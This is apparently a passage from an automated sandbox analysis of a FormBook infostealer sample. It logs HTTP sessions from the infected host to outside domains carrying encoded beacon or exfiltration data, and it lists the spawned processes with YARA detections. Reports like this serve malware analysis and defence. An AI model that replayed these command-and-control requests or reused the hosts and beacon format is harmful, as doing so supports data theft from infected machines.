Dec 3, 2024 14:56:46.346308947 CET	2684	OUT	Data Raw: 77 73 43 36 2f 58 42 71 57 42 75 2b 59 51 4a 2f 31 4d 4d 57 6e 31 5a 66 75 42 31 4b 45 53 53 50 44 58 45 56 50 47 36 66 32 42 35 64 58 77 39 72 58 6c 38 6e 71 53 43 4f 69 36 61 31 56 51 61 47 6b 58 6a 39 70 52 68 61 50 59 61 47 56 56 6d 6c 44 71 Data Ascii: wsC6/XBqWBu+YQJ/1MMWn1ZfuB1KESSPDXEVPG6f2B5dXw9rXl8nqSCOi6a1VQaGkXj9pRhaPYaGVVmlDqre1xaXE5utx3iGMDZV//KhX9mzWra+hA1MdmpvLbX2LEdM7kjgHTgFI5wk1Yh95Gl2p46Ip61TEzFJACrvRZ+MntCTfa98pDA4WQ/4RiWGOq1J/XVLdaR6gw7isfc8agHSkfWhqAd+7Yhc5gvHLrZCrSZFXJ3vEF6
Dec 3, 2024 14:56:46.666198969 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:56:46 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.11.20	49844	38.47.233.4	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:49.188229084 CET	416	OUT	GET /mg8c/?pluxVm=rjBLh9a8fZJRcQu9K1C3LAtp+/ShEoEfzH3ui2xMInNHtYlxt8Nl0C2ZPsNy1cCyYgBvBEXXCVeazEdoFLasWgZ3AJaOWiiv1TsNcWo9tyTPmHKnoGX/TSk=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.nng83.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:56:49.507761955 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:56:49 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.11.20	49845	103.224.182.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:54.692557096 CET	689	OUT	POST /vwn2/ HTTP/1.1 Host: www.brickhills.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.brickhills.site Referer: http://www.brickhills.site/vwn2/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 78 5a 56 78 4a 5a 77 73 5a 6d 72 79 30 76 67 54 63 49 75 7a 67 35 76 4e 33 37 54 2f 50 6c 2b 41 44 78 6f 45 51 58 4d 34 55 4d 54 49 63 33 6e 35 54 76 71 77 5a 4f 66 32 65 48 53 68 4c 45 34 59 4e 77 48 68 4e 63 4d 4c 32 4f 78 69 30 71 50 76 38 6e 4e 6e 42 49 56 4e 32 6f 52 43 6e 33 34 5a 66 6b 33 54 72 34 47 4a 49 55 42 65 6c 77 4a 51 54 50 56 76 4b 2f 2f 6b 31 67 76 72 49 6f 30 49 51 43 34 30 63 31 62 6f 68 49 73 50 72 41 31 39 2b 61 64 72 32 4c 59 78 62 33 71 6d 6b 47 71 74 61 46 62 69 31 44 4e 79 50 59 38 49 53 56 4c 4f 67 4b 39 78 6c 53 64 39 73 5a 70 65 49 61 62 6e 5a 41 3d 3d Data Ascii: pluxVm=xZVxJZwsZmry0vgTcIuzg5vN37T/Pl+ADxoEQXM4UMTIc3n5TvqwZOf2eHShLE4YNwHhNcML2Oxi0qPv8nNnBIVN2oRCn34Zfk3Tr4GJIUBelwJQTPVvK//k1gvrIo0IQC40c1bohIsPrA19+adr2LYxb3qmkGqtaFbi1DNyPY8ISVLOgK9xlSd9sZpeIabnZA==
Dec 3, 2024 14:56:54.891254902 CET	874	IN	HTTP/1.1 200 OK date: Tue, 03 Dec 2024 13:56:54 GMT server: Apache set-cookie: __tad=1733234214.7907578; expires=Fri, 01-Dec-2034 13:56:54 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 [TRUNCATED] Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.11.20	49846	103.224.182.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:57.395035982 CET	709	OUT	POST /vwn2/ HTTP/1.1 Host: www.brickhills.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.brickhills.site Referer: http://www.brickhills.site/vwn2/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 78 5a 56 78 4a 5a 77 73 5a 6d 72 79 31 50 77 54 54 4c 57 7a 72 35 76 4f 39 62 54 2f 42 31 2b 63 44 78 73 45 51 54 56 7a 55 2f 6e 49 63 54 6a 35 53 75 71 77 59 4f 66 32 57 6e 53 6b 55 55 35 55 4e 77 4c 70 4e 65 49 4c 32 4f 6c 69 30 6f 58 76 2f 55 31 6f 48 49 56 44 74 34 52 41 70 58 34 5a 66 6b 33 54 72 35 6d 7a 49 55 5a 65 6c 44 52 51 43 65 56 6f 4a 2f 2f 6e 39 41 76 72 43 34 30 45 51 43 35 52 63 30 48 43 68 4b 6b 50 72 46 52 39 2f 4c 64 73 38 4c 59 7a 47 6e 72 47 30 6d 44 2f 61 6b 69 52 6a 68 42 7a 58 61 4d 6a 58 44 47 55 39 34 4a 56 6d 42 42 50 6f 70 51 32 4b 59 61 38 45 4b 52 64 76 48 30 2f 4b 2f 7a 52 44 51 38 43 39 47 4a 77 43 38 38 3d Data Ascii: pluxVm=xZVxJZwsZmry1PwTTLWzr5vO9bT/B1+cDxsEQTVzU/nIcTj5SuqwYOf2WnSkUU5UNwLpNeIL2Oli0oXv/U1oHIVDt4RApX4Zfk3Tr5mzIUZelDRQCeVoJ//n9AvrC40EQC5Rc0HChKkPrFR9/Lds8LYzGnrG0mD/akiRjhBzXaMjXDGU94JVmBBPopQ2KYa8EKRdvH0/K/zRDQ8C9GJwC88=
Dec 3, 2024 14:56:57.592434883 CET	874	IN	HTTP/1.1 200 OK date: Tue, 03 Dec 2024 13:56:57 GMT server: Apache set-cookie: __tad=1733234217.8591296; expires=Fri, 01-Dec-2034 13:56:57 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 [TRUNCATED] Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.11.20	49847	103.224.182.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:57:00.097472906 CET	2578	OUT	POST /vwn2/ HTTP/1.1 Host: www.brickhills.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.brickhills.site Referer: http://www.brickhills.site/vwn2/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 78 5a 56 78 4a 5a 77 73 5a 6d 72 79 31 50 77 54 54 4c 57 7a 72 35 76 4f 39 62 54 2f 42 31 2b 63 44 78 73 45 51 54 56 7a 55 2f 2f 49 66 6d 33 35 54 4e 43 77 62 4f 66 32 59 48 53 6c 55 55 35 64 4e 77 6a 74 4e 65 45 39 32 4e 64 69 33 4e 4c 76 30 46 31 6f 55 6f 56 44 6b 59 52 42 6e 33 35 45 66 6e 66 66 72 35 57 7a 49 55 5a 65 6c 47 64 51 43 50 56 6f 50 2f 2f 6b 31 67 76 33 49 6f 30 67 51 43 68 6e 63 30 44 34 68 62 45 50 73 6c 42 39 38 35 46 73 6d 4c 59 31 46 6e 72 6b 30 6d 65 68 61 6e 58 67 6a 67 31 64 58 64 34 6a 61 79 72 51 6c 62 42 49 6c 78 64 50 72 4b 45 52 65 71 43 56 61 59 64 67 67 6b 59 45 49 4a 50 45 4a 78 73 56 69 32 68 33 54 73 50 49 7a 59 38 38 69 34 69 33 58 75 4d 38 39 6c 58 6e 6d 4a 47 34 55 74 6c 2b 33 4c 65 63 6a 65 7a 5a 67 55 36 74 76 61 6f 54 68 46 4b 44 66 38 32 56 2b 41 63 68 47 53 4d 48 76 4c 51 69 49 34 76 30 66 6f 51 2b 6e 2f 61 31 50 39 68 44 6c 6a 75 58 46 6a 4f 55 35 38 6a 6b 4b 6f 7a 4f 43 67 5a 36 6f 56 4c 58 79 49 7a 71 51 48 7a 4c 2b 77 51 4e 62 55 61 [TRUNCATED] Data Ascii: pluxVm=xZVxJZwsZmry1PwTTLWzr5vO9bT/B1+cDxsEQTVzU//Ifm35TNCwbOf2YHSlUU5dNwjtNeE92Ndi3NLv0F1oUoVDkYRBn35Efnffr5WzIUZelGdQCPVoP//k1gv3Io0gQChnc0D4hbEPslB985FsmLY1Fnrk0mehanXgjg1dXd4jayrQlbBIlxdPrKEReqCVaYdggkYEIJPEJxsVi2h3TsPIzY88i4i3XuM89lXnmJG4Utl+3LecjezZgU6tvaoThFKDf82V+AchGSMHvLQiI4v0foQ+n/a1P9hDljuXFjOU58jkKozOCgZ6oVLXyIzqQHzL+wQNbUafLjmKEJKz6vRxqFwMFkvLhsfABSfrxnBH86YwfMd35nBCRpXhdlF8hUMM4LQt2rVyjWosHqav26pfaepbWBxQ8I3/qkSFpa48IX39BBNQm9Sd4OilVcjAGdEfWmcnbN6sfmU4aprj8OjN6gSxe0FZrD5WjDnHz3GziRQ6ciH1aVUpQhqCTEv4P2nFIgcCZBT7VkO0+nRpgAOhCKq5d0wC/CI+/hPbIan8quFhnCpgXaJH06ICd/z2PvMuPLRKZxFTu1dgXjYgyFqaum2LmE4pNQBD5DFniZ91fLv8OjZdxm3LYOJK4EDPbIeA8VihCa32JUlds9xQmjkFsDZRQEqsXZIICpV0Nv/r0pIp+y79tmCXiOjRo02NmIZ4FxK38CR9FoalI1UX8oe0WPR9l4j0X97KZ4jLFXXQiVp9BDQ1OlbZwF0InWnwFtK90rDPMNjHC3/R9qVebewOJK/wnThZ0RxIUQUsNGZvTlGJOr1d6gmRvcoE1eAKbHzV0Okl5jY7QKQzSSxZkKA30ghTFq7waJ1FbkKxHulMt4mSBpmu14TXHKPMll9eEGd9VrmiTHvoor3Rpu0im8Z2jhjlbVr6WMk1J+1PQmb2vodKsd3xIzgeV6lZtKWPZ26aye9d7gBxklr6gHqulp28S6i7nJt0IbVbIvxSSaYaB [TRUNCATED]
Dec 3, 2024 14:57:00.097537041 CET	5156	OUT	Data Raw: 2b 33 2b 6e 39 51 68 37 6f 46 2f 32 50 50 73 4c 44 67 75 70 32 65 6b 74 39 7a 58 32 6f 67 6a 77 65 6f 65 66 6f 35 67 6e 76 52 52 69 50 4b 68 76 53 74 74 56 2f 42 32 43 6b 5a 30 63 50 46 49 6d 42 36 6d 75 7a 54 52 49 6c 43 78 65 77 47 34 42 61 76 Data Ascii: +3+n9Qh7oF/2PPsLDgup2ekt9zX2ogjweoefo5gnvRRiPKhvSttV/B2CkZ0cPFImB6muzTRIlCxewG4BavWj4vZPPS4pejifR3iTJ1attUBLhYYgMq+0+qVyFTlLQAVp7xe2rVC6lO/iwnpXLLR1x204NIAJHLun05kRUmQpI1DBxu2e5g3f8gbIuQoI1iht6BCG2Swb+BMwevu6xy0JvCWepCc5FeSrApqcfp9BGvNYwg8Qqvu
Dec 3, 2024 14:57:00.097579002 CET	124	OUT	Data Raw: 52 73 78 35 7a 31 64 68 6b 31 66 67 6b 4f 71 6c 47 6a 33 46 4a 47 4c 66 54 53 46 47 54 41 33 35 56 76 4c 6d 48 55 59 66 32 77 67 47 71 6a 49 70 48 43 6f 6d 66 32 43 6f 71 74 36 7a 58 64 58 4f 78 4d 59 79 4c 56 4d 55 75 64 38 52 42 65 34 61 52 48 Data Ascii: Rsx5z1dhk1fgkOqlGj3FJGLfTSFGTA35VvLmHUYf2wgGqjIpHComf2Coqt6zXdXOxMYyLVMUud8RBe4aRH2TcQlEX8n91Iq/SoYlU556K4LxCSW7kkKpMulDjg==
Dec 3, 2024 14:57:00.284235001 CET	874	IN	HTTP/1.1 200 OK date: Tue, 03 Dec 2024 13:57:00 GMT server: Apache set-cookie: __tad=1733234220.8953293; expires=Fri, 01-Dec-2034 13:57:00 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 [TRUNCATED] Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.11.20	49848	103.224.182.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:57:02.798958063 CET	422	OUT	GET /vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0= HTTP/1.1 Host: www.brickhills.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:57:02.993597984 CET	1289	IN	HTTP/1.1 200 OK date: Tue, 03 Dec 2024 13:57:02 GMT server: Apache set-cookie: __tad=1733234222.2137467; expires=Fri, 01-Dec-2034 13:57:02 GMT; Max-Age=315360000 vary: Accept-Encoding content-length: 1501 content-type: text/html; charset=UTF-8 connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 62 72 69 63 6b 68 69 6c 6c 73 2e 73 69 74 65 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 66 69 6e 67 65 72 70 72 69 6e 74 2f 69 69 66 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 76 61 72 20 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 69 63 6b 68 69 6c 6c 73 2e 73 69 74 65 2f 76 77 6e 32 2f 3f 5a 31 45 4f 3d 4f 76 66 48 65 6c 75 55 79 26 70 6c 75 78 56 6d 3d 38 62 39 52 4b 74 51 53 42 48 48 30 37 50 78 74 59 73 69 70 6a 4c 2f 6c 71 66 58 71 59 58 2b 6a 51 6d 41 5a 61 77 39 47 52 4f 48 47 59 56 37 34 4d 75 37 78 59 35 72 55 55 47 62 42 53 33 35 6c 50 79 48 74 48 50 51 44 2b 38 56 50 6e 62 6a 75 32 48 74 78 5a 66 63 79 75 71 4d 7a 6a 51 6f 41 46 6d 6d 35 38 73 61 39 4f 58 77 65 38 68 [TRUNCATED] Data Ascii: <html><head><title>brickhills.site</title><script type="text/javascript" src="/js/fingerprint/iife.min.js"></script><script type="text/javascript">var redirect_link = 'http://www.brickhills.site/vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0=&';// Set a timeout of 300 microseconds to execute a redirect if the fingerprint promise fails for some reasonfunction fallbackRedirect() {window.location.replace(redirect_link+'fp=-7');}try {const rdrTimeout = setTimeout(fallbackRedirect, 300);var fpPromise = FingerprintJS.load({monitoring: false});fpPromise.then(fp => fp.get()).then(result => { var fprt = 'fp='+result.visitorId;clearTimeout(rdrTimeout);window.location.replace(redirect_link+fprt);});} catch(err) {fallbackRedirect();}</script><style> body { background:#101c36 } </style></head><body bgcolor="#ffffff" text="#000000"><div style='display: non [TRUNCATED]
Dec 3, 2024 14:57:02.993669033 CET	484	IN	Data Raw: 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 69 63 6b 68 69 6c 6c 73 2e 73 69 74 65 2f 76 77 6e 32 2f 3f 5a 31 45 4f 3d 4f 76 66 48 65 6c 75 55 79 26 70 6c 75 78 56 6d 3d 38 62 39 52 4b 74 51 53 42 48 48 30 37 50 78 74 59 73 69 Data Ascii: a href='http://www.brickhills.site/vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0=&fp=-3'>Click here to enter</a></div><noscript><meta http-e

Target ID:	0
Start time:	08:50:25
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe"
Imagebase:	0xda0000
File size:	766'976 bytes
MD5 hash:	8A6F66334502BC3DA28732CCD4353D14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	08:50:40
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe"
Imagebase:	0x850000
File size:	766'976 bytes
MD5 hash:	8A6F66334502BC3DA28732CCD4353D14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.179274577947.0000000005D30000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.179229670326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	08:51:09
Start date:	03/12/2024
Path:	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
Imagebase:	0x140000000
File size:	16'696'840 bytes
MD5 hash:	731FB4B2E5AFBCADAABB80D642E056AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	4
Start time:	08:51:09
Start date:	03/12/2024
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cacls.exe"
Imagebase:	0x1f0000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.182790212280.0000000003470000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.182790291540.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	5
Start time:	08:51:34
Start date:	03/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6881c0000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true